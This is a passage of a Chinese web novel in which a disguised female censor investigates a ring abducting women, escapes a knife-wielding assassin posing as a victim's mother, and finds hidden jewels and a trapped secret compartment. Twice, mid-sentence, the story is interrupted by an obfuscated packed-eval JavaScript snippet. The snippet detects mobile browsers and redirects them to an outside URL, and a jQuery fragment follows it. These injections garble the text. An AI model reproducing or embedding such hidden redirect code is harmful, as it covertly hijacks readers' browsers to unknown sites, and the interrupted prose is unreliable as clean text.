林雪意转身抬头看着悬在公堂上方的匾额,明镜高悬四个大字威武庄严,气势逼人。 幼时父亲曾经同她说过的话,恍然间又浮起在耳边…… “公子,我们接下来要去做什么呢?”深月的话将林雪意的思绪拉了回来。 林雪意将目光收回来,轻轻抿了抿唇,道:“我们去看看秋意的娘亲吧。” 深月一口应下,想起刚刚林雪意吩咐墨云的事,不禁又有些疑惑:“公子,你让墨云去找秦永做什么?莫非秦永跟这个案子也有关系?” “他虽然不知内情,但确实有很大的关系。”林雪意一边带着深月走出公堂,一边道,“昨日南风馆的人告诉我,秦二老爷曾因为秦永去南风馆追打了他一路,闹出了很大的动静。” 深月还是有些不明白,便问:“这也算正常吧?毕竟秦二老爷只有他一个公子,他好男色的事,秦二老爷当然接受不了。” 两人此时已经走出了县衙大门,林雪意等深月走下台阶,才接着说:“若是放在平常,确实只是一段笑料。可是早上你也听到了秦永所说,秦姑娘是从他口中得知南风馆的所在。而他在秦姑娘去南风馆的这段时间里,正巧都被关在家里。如果他可以自由来去,你当他会如何?” “如果他还能经常上南风馆的话,肯定就会发现秦姑娘跟冯玉的事情,还很可能把这件事说出去。可他偏偏被关在了家里……”深月嘀咕了一阵,突然明白过来,“这么说,无论是追打秦永闹出动静,还是把他关在家中,都是秦二老爷故意做的!” 林雪意赞许地点点头,补充说:“而且秦永被禁足的时间,冯玉出现在南风馆的时间,以及秦姑娘去南风馆遇见冯玉的时间,大致是吻合的。世上哪有这样的巧合?” 这整件事显然经过了周密的布置,她便是据此推断,秦二老爷跟冯玉是通过气的。 深月想了想,又问:“可是既然秦永是被秦二老爷利用的,他身上会有什么有用的线索吗?” “你还记得他说过的话吗?”林雪意提醒深月,“他说秦二老爷只有几间小铺子,可我见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079355|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他行事铺张,那供他挥霍的钱财又是从何而来?” 深月噤声了片刻,像是怕被路上的人听去了似的,压低了声音问:“秦二老爷还有来历不明的钱啊?” “定然是不义之财。”林雪意递出了一个肯定的眼神。 遭冯玉诱骗的并不是只有秦苒悦一人,若她在回溯迷魂胭脂时看到的就是卷宗上记录的失踪女子,那秦二老爷便极有可能是伙同冯玉诱拐女子牟利之人。 如果能从秦永身上找出这来路不明的钱财,她便能追溯来源。而其他有关的证据,十有八九就跟那些不义之财放在一处。 由于方才升堂审案一事,街道上不少百姓都已经认得林雪意,得知她们要去秋意家中的时候,许多人都热心指路,因此两人很快就找到了秋意和她母亲徐氏的住处。 秋意母亲住在城西僻静处,靠帮人洗衣赚些钱补贴家用。林雪意跟深月在她屋外便能望见院墙里头晾着一些衣服。 深月上前敲了敲门,很快陈旧的木门就被从里头打开。 开门的是一位两鬓斑白的妇人,看见两人先是一愣:“二位是……” “您就是秋意的娘亲吧?”深月问。 “是,我是。”妇人一听到秋意的名字,不禁流出泪来,道,“官府刚才已经将秋意送回来了,我的孩儿着实可怜。” 林雪意上前道:“徐大娘,我是经手此案的监察御史。杀害秋意的凶犯都已经抓到了,我一定会还你们一个公道。” “原来您就是大人。”徐氏握住了林雪意的手,感激涕零地说,“多谢您替秋意伸冤,您快进来坐。” 林雪意跟深月跟着徐氏进了院子,绕过几个晾晒着衣物的架子,就见里头的一小间屋子用做了灵堂,秋意的遗体已经收敛在棺木中。 徐氏一边慢慢挪着步子带路一边声音嘶哑地说:“大人进屋坐吧,我去给二位倒些茶来。” “徐大娘不必客气,我们还是先去祭拜秋意吧。”林雪意说。 “也好。”徐氏说着转身,又带着林雪意和深月往光线昏暗的灵堂走去。 林雪意跟着徐氏走进灵堂,就见香烛都还散落在灵台上。徐氏连忙上前整理,歉然道:“我白发人送黑发人,六神无主的,让大人见笑了。我替人洗衣,刚才有人来催,故而连香烛都没插上。” “斯人已去,请您节哀。”林雪意叹了口气,视线在灵堂中扫了一圈,突然定格在棺木后头,惊讶地叫到,“李捕头,你怎会在此处!” 徐氏闻言一惊,立刻抬头去看,林雪意趁着这空档拉起深月就往外头跑。 身后有了短暂的寂静,但很快就传来了稳健的脚步声。 “公子,发生何事了?”深月边跑边不明所以地回头,只见从后头紧追上来她们的徐氏目露凶光,哪还有步履蹒跚的样子? “别回头,她根本不是徐氏!”林雪意扯了一把深月,一边往院门跑一边说。 黯淡天色下,一道黑影从二人头上掠过,而后稳稳停在她们跟院门之间。 拦住二人去路的“徐氏”一把扯开宽大的粗布衣服和苍老的面皮,瞬间变作了一个身材健壮,面相凶悍的男子。 28. 你会武功? 对方的森冷的眼神和她们在驿站里碰见的假周卫过于相象,手中刀锋锃亮,深月不禁脱口而出:“你是杀手!” 男子悚然一笑,道:“正是。还请二位告诉我,我大哥现在人在何处。” “驿站的杀手是你大哥?”深月问,“可是……” 不等深月说完,林雪意就轻轻掐了她的手,打断了她。 林雪意接着道:“告诉你他的下落,你就会放过我们吗?” “哼。”杀手狞笑着上前一步,打量着林雪意和深月,道,“如果你们能哄得大爷我高兴,我可以留你们一个全尸。” 林雪意脸色一变,作势要跪下,道:“好汉饶命。” 眼见一抹得意的神色从对方眼底掠过,林雪意抓起一把沙土用力往前一扬,拉着深月转身就跑。 趁着杀手被尘土迷了眼,林雪意赶忙让深月跟她分开跑。见深月跑远后,她自己转而躲进了晾晒衣服的架子中间,没过多久就听到几重悬挂的衣物之外响起了杀手的脚步声。 那杀手做事并不迂回,径直将那些竹架子劈得七零八落。在这一时半刻间,林雪意连忙跑进了近旁的屋里,抓起手边的东西就往对方身上砸去。但两人体格相差悬殊,她丢过去的东西并不能伤他分毫。 眼看对方举刀就要朝她砍来,林雪意瞳孔一缩。眨眼间,她只觉得腰身突然被人环住,她还没反应过来,就已经被拎到了一侧。 这感觉有些古怪,林雪意正心下纳闷,就见一道身影从她身侧闪出,利落地翻折对方手腕将他的刀震落在地,又踹出一脚直让杀手的后背重重砸在土墙上。 那杀手显然是摔得不轻,起身逃得飞快,几个弹指就不见了身影。 林雪意看着突然出现的这人熟悉的背影,不由愣住,用力眨了眨眼睛才试探地叫了一声:“……晏返?” 那道高挑的身影顿了一顿,继而转过身来,平日里浪荡不羁的纨绔子,此刻朗目疏眉,眼神沉静。 林雪意下意识地后退一步,眉头轻轻皱起,心头有点突突地跳:“你……会武功?” 晏返看她片刻,双眉不以为然地一挑,道:“这有什么好奇怪的?本世子家大业大,要是没有一点功夫傍身,早被人绑了去了。” 林雪意看他的眼神里不由充满了怀疑——她分明觉得他方才出手极快,这叫“一点功夫”? 察觉到林雪意探究的视线,晏返睨她一眼,说:“御史大人,您这眼神可真是坦诚。” “可是你昨夜还说自己手无缚鸡之力。”林雪意追问道。 她那时也是想着他把墨云派给了他,担心他独自一人在外晃荡会有危险,才答应让他留下的。 “你认真想想也知道我是随口胡说的啊。”晏返一扬扇子闲闲地摇起来,唇角噙起淡淡的戏谑笑意,“我要真是手无缚鸡之力,前几日在布庄的时候要怎么把你抱起来?” 脑海中闪过不太美妙的画面,林雪意不禁脸色一黑,只觉得有热意从耳根漫上来。 “林雪意,我……”晏返正要说什么,突然感到身后有东西破空而来。他上前一步揽住林雪意往旁边带出几步,身后的人扑了空。 林雪意连忙从他怀中探出头来,就见深月抬起木棍还要再打。 “深月,我没事。”林雪意连忙别开晏返,向深月走去。 深月这才反应过来跟林雪意站在一起的是晏返,松了一口气,木棍也丢在了地上,道:“原来是世子啊,吓死我了,我还以为姑娘被杀手逮住了呢。” “那杀手已经逃了。”林雪意拍拍她的背,安慰道。 “逃了?”想到刚才的杀手身手并不差,深月又感到有些奇怪,上下打量着晏返,“是被世子赶跑的?” “然也。”晏返得意地点头。 “骗人吧?”深月脸上写满了不相信。 “好了。”林雪意打住了二人贫嘴,朝那间灵堂走去,道,“还是先把真正的徐大娘救出来吧。” 深月连忙跟上,问:“姑娘,你怎么知道刚才的徐大娘是假的?” “起先他握我手的时候,我便感觉到他手心有茧。经常拿斧子劈柴的人,他们的手就是这样的。可是我们进屋之后,我一路上都没看见斧子和劈开的柴火,厨房里堆放的也是拾取的柴草,我便怀疑他的茧是长期手握兵器所致。” 深月若有所思,道:“难怪姑娘要先去看灵堂。” “是啊,这世上有哪个母亲是在处理孩子丧事的时候,还记挂着生意的?”林雪意一脚跨进灵堂,走到了棺材旁边,道,“而且现在许多人都知道秋意的死,谁会在这个时候铁石心肠地来催她娘亲洗衣服?” 只因那徐氏是杀手假扮,只想取她性命,并不真的在意秋意的死。哀恸哭泣或许可以骗人,下意识的言行举止可骗不了人。 “那秋意的娘亲在哪里呢?”深月在灵堂里环视一周,在看到角落里的一袭白布后,不禁脸色一僵。 林雪意并不意外,一边试着推棺盖一边说:“我方才也看见了,那应该就是秋意。那杀手放着一副棺材不装,反而冒着被我们发现的危险将她丢在角落,说明棺材里定然藏了别的东西。” 深月立刻想到了一种可能,只觉得一股凉气直从脚底往上蹿。 跟在两人身后的晏返一直在听她们说话没作声,此时将扇子在林雪意手背上轻轻一搭,道:“我来。” 只见他收起折扇,抬掌在棺盖上一推,棺盖便整个被卸在了地上。 他抬手将快步过来的林雪意挡在一步之外,往棺材里看了一眼之后才轻轻松了一口气,冲林雪意点了点头。 林雪意听到里面传来了轻轻的啜泣声,立刻心头一松,上前踮起脚,就看见真正的徐氏被塞住嘴躺在棺材里,涕泪泗流。 几人将徐氏从棺材里解救出来,又将秋意的遗体安置好。满脸病容的徐氏给秋意上了香,而后向林雪意跪下叩头。 “徐大娘,这可使不得。”林雪意连忙扶住了徐氏。 徐氏却坚持跪着,红着眼眶说:“大人,今日我虽腿脚不便没能赶得上您升堂,但是我沿路听说了,是您发现意儿的死有蹊跷,也是您抓住了真凶。如今我已老迈,无法报答大人的恩德,只愿来世愿为大人当牛做马。” “徐大娘,您言重了。”林雪意示意深月跟她一起将徐氏扶起来,心中又生出许多愧疚 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林雪意知道晏返是因为马知县在场才故意如此称呼,但还是心头一梗,不禁轻轻咬唇剜了他一眼。 晏返被林雪意怒瞪一眼,却不知为何心头有些愉悦。他知她不喜欢听这些死皮赖脸的话,便又坦言道:“我派给你的墨云都被你支出去做事了,我自然得留在你身边保护你。” 清冽语声不徐不疾地传进耳中,林雪意莫名觉得心中有些异样,不由悄悄收紧了手掌,不再作声。 在前头带路的马知县只当这两人是在打情骂俏,忍不住老脸一红,连恭维的话都忘记说了,只管加快步子。因此原本需要近半个时辰的路程,他们只用了三刻钟便走完了。 冯玉曾经租住在城南一条窄巷的屋子里,据房东说,他来的时候没有带什么家当,因此走的时候也没留下什么东西。 林雪意几人进屋查看,果然发现屋中只有寻常家具,并没有什么私人物品。 “另外还有几人,也说冯玉曾在他们家中住过。下官已经派人去看过,都未发现什么线索,有的屋子甚至都已经重新租出去了。”马知县补充说。 林雪意道了句“有劳”,细细打量起屋中所剩不多的零碎物件。最后,她的视线落在了木桌的一盏油灯上。 虽然这不是冯玉的随身之物,但却应该是他会经常使用的东西。 想到这里,林雪意执起油灯,屏息凝神,朝前方虚望过去。 视野中的场景陡然转为黑夜,一盏孤灯在昏暗的房中幽幽亮着。宛如碎片的画面一一闪过,当视线捕捉到一丝特别的画面时,林雪意尝试着让场景停下来。 如她所愿,画面慢慢地停落,定格,然后又重新动起来—— 冯玉坐在桌边,正拿笔在纸上画着什么。画完之后,他似乎很是满意,托起纸张在油灯边照了照。 林雪意定睛一看,只见纸上密密麻麻地列着许多名字。那些名字上都用朱色的墨画了一个圈,只有写在末尾的名字没有画圈。 她移过视线想看清那个名字,却不巧对上了那昏黄灯光中,冯玉含着诡异笑容的目光。 29. 骑马 手中油灯陡然落地,林雪意喘着气回过神来。 “你怎么样?”晏返手快扶住了她,让她在桌边坐下。 林雪意嘴唇微白,摇了摇头道:“我没事。” 外头天色渐暗,深月捡起油灯点上,室内顷刻间被微黄的光晕所笼罩。 昏黄光线中,林雪意发觉自己坐的就是在回溯场景中冯玉所坐的位置,脑海中又浮现出刚刚看到的冯玉那带着诡笑的眼神。 她知道那是发生在过去的事,并不是当前,但那眼神太过邪气,让人毛骨悚然。 好在她还是看到了那最后一个名字——写在那张名单最后的,是秦苒悦的名字。 看来那张名单上写的都是受到冯玉诱拐的女子,这也验证了她的推测。 可是那名单现在已不在这间屋子里,也没有出现在南风馆,那到底是去了何处? “姑娘,快喝点水。”深月已经从外间取了水来,望着林雪意的目光流露出几丝担忧来,“您这身子,怎么总不见好?” 晏返听了深月的话,眉峰微微一挑,问道:“她这是怎么了?” “姑娘这是旧疾了。”深月替林雪意顺气了一阵,接过水碗,道,“原本已经很久没有发作了,大概是今年的冬天格外冷吧,近来姑娘时常会这样。” “深月,我不碍事的。”将冯玉吓人的模样抛诸脑后,林雪意的脸色好了一些,宽慰她道。 “哎,”方知县想起刚才自己走得飞快,面露惭色,叹道,“都怪下官考虑不周,早知大人身体有恙,该叫一顶轿子来才是。” 林雪意连连摇头,强笑着道:“方大人不必客气,我等都是在行公事,哪里需要娇惯着?” 自从刚才深月说完话后,晏返就一直垂着目光,不知道在想什么。直到听到林雪意对方知县说话,他才放柔了语声对她道:“那先休息片刻再走吧。” 林雪意刚要说好,屋外就传来了脚步声。几人转头一看,就见墨云已经走进了屋中。 “大人,世子。”墨云拱手行礼,刚要往下说,就见晏返脸色一沉,到了嘴边的话立刻卡回到喉咙里。 林雪意却目光一亮,问:“可是找到秦永了?” 墨云下意识看了看晏返,然后才接着道:“是。是在赌坊找到的,属下已经将他带回县衙。” “那我们这就回衙门。”林雪意说着就要站起来,却被晏返先一步按住。 “慢着。”晏返语声微沉,扫了墨云一眼,道,“你去牵一匹马来。” 只见墨云动作极快,林雪意刚想明白晏返是打算骑马回去,墨云就已经从屋里消失了身影。而后一盏茶不到的功夫,墨云就回来说马已经备好了。 林雪意跟着晏返走出门去,就看见沉沉的暮色下,果然已经立着一匹高头大马。 晏返上前一步翻身上马,仍是朝林雪意伸出了手。 林雪意叮嘱深月跟马知县路上小心,又嘱托墨云看护他们,这才抓住晏返的手,让他将她拉上马背。 晏返抖抖缰绳,前面深栗色的马头扬了扬,就昂首健步地踏上了街道。 策马的人只悠悠地手执缰绳,马便走得不快,待行到人流如织处,速度更是慢了下来。 林雪意下意识地抓着晏返的衣服这么前行了片刻,忽然听到前方隐含笑意的声音传来:“御史大人,还望你善待在下的衣服。” 她怔愣片刻,松开抓着衣服的手,隐约看清被抓在手心里的衣料出现了褶皱,才明白晏返的意思。 林雪意一时觉得有点脸热,解释道:“……可是不抓着,我怕是要摔下去。” 前面的人闻声侧过头来,唇角微扬。 街边五彩的灯渐次亮起,映得那淡淡的笑容有些炫目。 林雪意还不知道他在笑什么,就发觉他修长手指已经搭上她手腕,行云流水般把她的手往前一带,堪堪落在他的腰间。她本能地手指一蜷,反而触到隔着从衣料底下透出的微微温热。 心头没来由地微微跳,林雪意正想松开,眼前路段上的行人却渐少,前方矫健身影一扬缰绳,马蹄顷刻间飒沓如飞。 林雪意不由收紧了落在晏返腰际的手,带着磁性的戏谑嗓音便顺着刮过耳侧的风传入她耳中:“夫人这么客气做什么?若不抱紧些,可真是要摔下马去。” 罢了,抱就抱吧,反正也没人看到。 眼见马跑得飞快,寒风直钻进领子里,林雪意眼一闭,手一环,将头抵在晏返的背上。 冬日即将进入最冷的数九之时,晏返穿得却不多,林雪意紧扣的指端隐隐能感觉到衣料底下精悍结实的肌理,此时纤细手指却敏感地发觉对方微微一僵。 她未及细想,马一转弯,县衙便出现在眼前,县衙门口正站着一名衙差翘首以盼。 林雪意暗自松了一口气,松开环住晏返的手,却发现自己好像没法从马上下去。她正想请门口的衙差来搭把手,却见眼前一花,晏返已经停落在地上。 他冲林雪意展开双臂,道:“下来吧。” 林雪意撑着他的手臂下来,道了谢便朝衙差走去,心里却暗自嘀咕县衙门口悬着的两盏灯笼是不是太热了些。 那衙差也正向林雪意迎过来,边走边道:“大人,卑职已根据墨护卫的交代,把秦永押入牢中了。” 林雪意拱手道:“有劳了,真是帮了我大忙。我这便去……” “你哪里也不许去。”身后的晏返三步并做两步跟上来,打断了林雪意的话,眉间像是覆了一层薄薄的霜雪,“秦永在牢里,跑不了。你现在,该先吃饭。” “吃饭?”林雪意不知道他眼下提的是哪一壶。 晏返煞有介事地点点头,正色道:“你午间便没吃东西,退堂之后又直接去找徐氏,接着又是一通折腾,你是打算连晚饭也不吃吗?” “可是我现在不饿。”林雪意说完立刻一顿,眼珠幽幽一转,看向晏返,“这么说,你一直在跟着我?” 晏返轻轻一顿,眼睫微微颤了颤,复又挑眉对上她的目光,颇为硬气道:“我跟着自己的夫人,天经地义。” 林雪意错觉般地看到面前人的眼睑之下掠过一抹薄红,倏然一笑,道:“多谢世子好意,那便先一同用饭吧。” 县衙里的伙房本就已经准备好饭食,林雪意简单吃了些,便要去地牢。晏返却拦住她,回房取了一件狐裘给她披上。 林雪意看看披在自己身上的雪白狐裘,一时有些犯难。 晏返的身量比她高出一截,因此他的狐裘穿在她身上便险些垂地 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“我自然不会同情他。”林雪意摇了摇头,跟着晏返往里走,最后来到了关押秦永的牢房。 秦永正背对着牢门靠在墙上,被远远传来的冯玉的叫声吓得一抽一抽的。听到脚步声在他的牢房外头停了,他连忙转身看过来。见到外面站的是林雪意,他立刻目光热切地跑上前来:“薛公子!” 但他很快就看见了从林雪意身后阴影处走出来的晏返,下意识地伸手捂了捂屁股,目光缩回来,似乎是敢怒不敢言。 “这是御史大人!”衙差粗声喝退了秦永,又将牢房的门打开,躬身退至一旁。 “御、御史大人?”秦永一阵惊诧过后慢慢明白过来,看着林雪意道,“就是你把我老爹抓起来的?白天你来找我,就是为了向我套话?” 林雪意点头道:“秦二老爷为非作歹,你是他的公子,本官自然怀疑你也参与其中。” 秦永登时哭丧着脸,膝盖一弯就跪了下来:“大人,我冤枉啊!我爹做的那些事,我是一件也不知道。你看,我平时不是去赌钱就是去找小倌,哪有功夫帮着我爹害人啊。” 秦永这话说得过于坦诚,林雪意心下觉得好笑,但面上还是冷着脸,道:“不尽然吧?本官见你挥金如土,秦二老爷可没有这样的家底。你们到底将赃物藏在何处?还不从实招来!” “赃物?”秦永听了这话魂都被吓飞了一半,连声讨饶道,“大人饶命,我今日只是上当铺当了一样东西,那也是从我娘的嫁妆中拿的,万万不是什么赃物啊!” 林雪意听了大感意外,眉心不由轻轻皱起:“秦二夫人的嫁妆?” 秦永脸色变了变,咽了一下口水,才道:“我娘的嫁妆嘛,多是一些珠宝首饰,都收在库房里了。我找到了我娘藏的库房钥匙,找锁匠配了一把,手头紧张的时候我就……嗯,去拿一点。” 林雪意目光垂了垂,问:“你这样偷拿了多久?” “有那么两三年了吧。”秦永见林雪意的神情越发严肃,连忙拉住她袖子道,“大人,你可千万别告诉我娘。我娘要是知道这事,非要跟我断绝母子关系不可。” 林雪意突然不说话了,她冷冷甩开秦永,这才斥道:“秦永,你说谎!” 30. 暗器 秦永被林雪意甩得身子往后仰,正想上前恳求,冷不防被她身后那道冰冷的视线看得心底一寒,打了个冷颤。他老实地缩回手,讪讪道:“大人,我说的都是真的,我可以对天发誓!” 看秦永的样子确实不像说谎,林雪意心中不禁疑窦丛生,问道,“若你说的是真话,那么这样两三年下来,家中就算是有金山银山,也该被搬空了,怎会到如今还有剩余的嫁妆?” 秦永呆了呆,似乎真的有些犯迷糊了:“可是那些嫁妆确实没见少啊,不然我娘早怀疑我了……说来也奇怪啊,那堆嫁妆里好像隔一段时间就会冒出一点新的东西。” 林雪意心头一凛,忙问:“你今日去了哪间当铺?又是当了何物?” 秦永老实交代:“就是我常去的郭记当铺,我当了一颗红色的珠子。” “那库房的钥匙可是在你身上?”林雪意说着朝秦永摊开手。 秦永眼底流露出几许不情愿,但他看看林雪意不容置否的神情,又偷瞄一眼她身后脸色深沉的晏返,缩了缩脖子,从怀中取出一把黄铜钥匙交到了林雪意手上。 远处又传来冯玉发狂的笑声,怪诞的声音在地牢里起起伏伏。 林雪意转身正想离开,身后就传来秦永哆哆嗦嗦的声音:“大、大人,该交代的我都交代了,是不是可以放我走了?” “等我查清此事,如果确实与你无关,我自会放了你。” 林雪意说完便跟晏返走出了牢房,只听得后头立刻传来秦永对狱卒的说话声,让狱卒把他和那个疯子的牢门都关严实点。 林雪意心下觉得好笑,脑海里却似乎有什么东西一闪而过,她还未及回过味来,外头就传来了动静。 先是深月被吓了一跳的叫声,接着是马知县对冯玉的数落声。 林雪意猜想是墨云三人回来了,连忙朝外面走去,果然就看见深月正心有余悸地向墨云说冯玉此人是如何阴险。 几人碰头后当即离开牢房,林雪意请马知县派衙差去郭记当铺取秦永说的珠子,接着又想起一事,问道:“马大人,今日可有人来探监看望秦卓?” 马知县想了一想,点头道:“他的夫人曹氏来过。下官记得大人的叮嘱,她一离开就派人跟上了。” “她可曾去过什么地方?” 马知县皱起眉头有些为难,道:“这倒是没有,衙役回来禀告说,曹氏离开县衙后就直接回秦府了。不过大人放心,下官已经吩咐过他们不可松懈,继续盯着。” 林雪意若有所思地点点头,目光虚望着屋檐下的灯影。 从她今日在冯玉租住处回溯时看到的名单来看,秦二老爷确实跟冯玉在行拐骗女子之事。 她翻过县衙架阁库中许多案卷和记录,都未发现有年龄跟容貌相吻合的女子离开过泤水县,因此那些被拐的女子十有八九还在此地。 但是这两年无故失踪的女子少说也有十六七人,这么多的人数要藏在何处才能躲过官府的排查? 所以她才让人盯着秦二老爷,因为他自己被拘在牢中,定然会想办法向其余同伙透露消息。那么只要跟着来探监的人,就很有可能可以找到那些女子的藏匿之所。 他们的行事跟寻常拐卖人口的人有所不同,这究竟跟迷魂胭脂又有怎样的关系…… 林雪意想得有些出神,直到有一只手指修长的的手在她眼前晃了晃,她才回过神来,就看见晏返正看着她,眼神有些玩味。 “在想什么?” “我在想……”林雪意微微眯起眼睛在晏返跟墨云身上来回打量,道,“夜探秦府要怎么才能不被人发觉。” 晏返看出她打的小九九,牵唇一笑:“这有何难?” 没过多久,派去当铺的衙差就将秦永白天拿去当的珠子取来了。 林雪意接过珠子打量。珠子有李子大小,通体发红,晶莹剔透,应该是由红色宝石打磨成,十分惹眼。 若这珠子一开始就在秦二夫人的嫁妆中,秦永应该早就注意到它,不会留到现在才拿走。想到这里,林雪意对秦永的话又相信了几分。 眼看天色已经完全沉下来,林雪意让深月留在县衙里,跟晏返和墨云去了秦府。 三人寻到秦府后门僻静处,墨云先一步翻墙而入,没过多久秦府后门就被他无声无息地打开了。 秦府算是大户人家,眼下还在秦苒悦的丧期,虽然秦大老爷还在昏迷,府里头还是各处都挂着白纸灯笼,因此院子里还算明亮。 林雪意三人小心避开偶尔从廊下经过的仆从,摸到了秦二老爷居住的东跨院。 他们根据秦永交代的位置,找到了里头的库房,顺利打开了锁。说是库房,其实就是一间普通的屋子,墙上挂有书画,博古架上陈列古玩,剩下的便是一些花梨木做的木柜。 林雪意打开几个柜子看了看,多是被褥、衣物、布匹之类。最后,她在一个靠墙的闷户橱中找到了秦永说的珠宝首饰。 闷户橱是连三的款式,三个抽屉里皆有数个妆匣,里头分类放着一些东珠链子、玉镯手钏、金银钗环,但除此以外,并无其他。 她想了想,冲旁边的晏返试了个眼色,对方即刻会意,小心地将三个沉甸甸的抽屉抽出来放到地上。 林雪意探头往闷户橱抽屉下方的黑暗空间看了看,又伸手进去一摸,果然在底下摸到了一样东西。 那似乎是一个稍扁的木箱,大小正好能够嵌在那空间里面。室内光线昏暗,她一时无法整个取出来,只能摸索着找到盖子和箱体之间的缝隙将盖子打开。 盖子掀开的刹那,柔和的微光从箱子里曳泄而出。 林雪意不由一怔。 那里头发光的圆润珠子分明是夜明珠,而且还不只一颗,散落在其他各色珠宝之间。 青州并无宝石矿藏,这些宝石于此地并不常见,况且如此数量的宝石,根本不会是一个寻常商户所能持有的。 秦永定是怕直接拿抽屉中的首饰会被秦二夫人发现,因此才去橱柜里面翻找,结果正好就发现了被秦二老爷放置在木箱里的珠宝。 他又说这里头隔一段时间就会冒出一点新的东西,那岂不就是说,秦二老爷时常会打开这木箱? 可是秦二老爷为人奸猾,不似秦永那般粗枝大叶,他既是经常往这里放东西,那就不可能没发现里头少了东西。 想到这里,林雪意不由倒吸一口寒气。 秦永以为自己做得神不知鬼不觉,但其实就连他偷拿东西出去当这件事,都很有可能早就在秦二老爷的算计之中。 “墨云。”林雪意低声召来在门后看守的墨云,对他道,“恐怕要麻烦你去郭记当铺跑一趟了。” “大人只管吩咐。”墨云道。 “好。”林雪意点点头,叮嘱他道,“如果我没猜错,郭记当铺的掌柜应该是要连夜逃跑。你速去将他拿下。” 墨云眼底闪过一丝惊讶,但他旋即应下,悄声离开了。 晏返看着墨云消失的背影,摸了摸鼻子说:“如果本世子没记错,墨云应该是我的手下吧?怎么对你言听计从起来了?” 林雪意有些乐了,扬眉睨了他一眼,道:“他现在可是叫我大人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13160664|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 晏返看着她得意的样子不由失笑:“罢了,你喜欢就好。不过,你怎么知道当铺的掌柜要逃跑?” “刚才衙役去当铺取珠子,定然已经惊动了他。他此时不跑,更待何时?”林雪意望着晏返,屋外的灯光透过窗纸落入她眼中,那一双水眸看着便亮晶晶的。 晏返看着那双晶亮的眼睛,勾唇一笑:“你认为,郭记当铺背后的东家就是秦卓?” 林雪意递出一个赞许的眼神,一边伸手在那木箱里头翻找一边道:“这些珠宝显然来路不明,虽然价值不菲,但如果拿到明面上未免太过招摇。所以他需要一个地方将这些东西换成不会受人怀疑的真金白银,比如说当铺。” 秦永未必知道这些珠宝真正的价值,也本根不会存着把它们赎回来的心思,因此当铺压价收入之后,就可以转手以高价转卖,换取金银。如此一来,秦二老爷手中就有了活钱。 秦永这么做既然已经有两三年,却从未招致任何人的怀疑,只能说明,这当铺本身跟秦二老爷就有瓜葛。 “那神机妙算的御史大人现在又在找什么?”晏返含笑问。 “秦二老爷既然有这么多不义之财,那就肯定会记录在册。”林雪意的手指已经触到箱底,但是摸索一阵后却一无所获,不由自语道,“怪了。” “没有?” “没有。”林雪意眼珠转了转,道,“你再帮我找一遍,我去别处看看。” 晏返没有多想便答应了,林雪意站到他身后的阴影处,吧从当铺拿到的那颗红色珠子握进掌心,不动声色地回溯起来。 眼前的场景从衙差到当铺取珠子的画面接连往后倒退,闪过秦永拿着珠子找当铺掌柜估价的片段,倒回秦永鬼鬼祟祟从库房的柜子里取出珠子的画面……最后,那珠子跟另外几块玉石一同出现在一只布着些许皱纹的手上。 回溯到的场面过于久远,即便是林雪意费劲地想要看清画面,却也只有珠子周围的一圈是清晰的。只见珠子和玉石被那只手放进了闷户橱里,而那橱柜后的墙面上,似乎有一道暗门正缓缓闭合…… 林雪意只觉得脑袋嗡嗡作响,胸口窒闷得厉害,视野顷刻间模糊一片。她踉跄两步差点跌倒,却不料后背顿上了一堵结实的胸膛。 “怎么了?”一双有力臂膀稳稳扶住了她,低低却清冽的语声从耳后传来,“可是又觉得难受了?” 视线逐渐清晰起来,林雪意缓缓喘着气,转过身抿了抿苍白的唇,道:“我没事,只是在这屋里头待久了,觉得有点闷。” “那不如我们先回去,明日再派人来找?”晏返问。 林雪意却摇了摇头,快步走到闷户橱旁边,将挂在上面的画取下来,轻轻敲打起墙面。果然,当她在敲到墙面上的一处时,发出了跟其他地方不同的声音。 “此处有暗格。”林雪意说着在橱柜的周围打量,却没发现像机关的东西,便又转身四下寻找。 晏返注视了片刻,反而是抬步走到了闷户橱一侧的博古架前打量了一阵,继而抬手抓住中间那个黄铜香炉转动起来。 只见墙面上慢慢出现了一条缝,随着香炉转过的角度变大,墙后露出的空间也越来越大。 眼见暗格就要完全打开,林雪意惊奇地看了晏返一眼,抬步向前走去。 前方的昏暗中突然蹦出一点寒芒,折射从窗外投入的微光,如寒夜中幽幽绽开的梅香。 “小心!” 晏返绷紧了的声线陡然传来,林雪意只觉得眼前霎时盈满了肃杀之气—— 那点寒芒正冲她眉心而来! 31. 中毒 林雪意心头一凛,自知已经闪避不开。 她本能地紧闭双眼,预料中刺入骨髓的疼痛却没有袭来。 一股略微熟悉的气味轻轻覆落,她错愕地睁眼,发觉自己正被晏返圈在怀中。 林雪意心中惊骇,慌忙抬头去看。 只见晏返剑眉紧蹙,额角眨眼间便沁出了细汗,而那一双黑眸,往日里总像是盛了星光,此时却雾蒙蒙的沉黑一片,投落的视线无端让人生出一种陌生的压迫感。 接触到她小心打量的视线,晏返登时目光一颤,猛地松开了她,微弱光线中的脸色如纸一样白。 他不动声色地握紧了垂在身侧的手,竭力稳住身形走到墙边,扶着墙壁坐下。 林雪意疑惑地转过视线,就见方才从暗格中射出的银针已经扎入他左肩。她连忙跟上去,想帮他把银针拔出来,却听得他压低了声音道:“别动。” 林雪意旋即明白过来,不由喉头发涩:“针上有毒?” 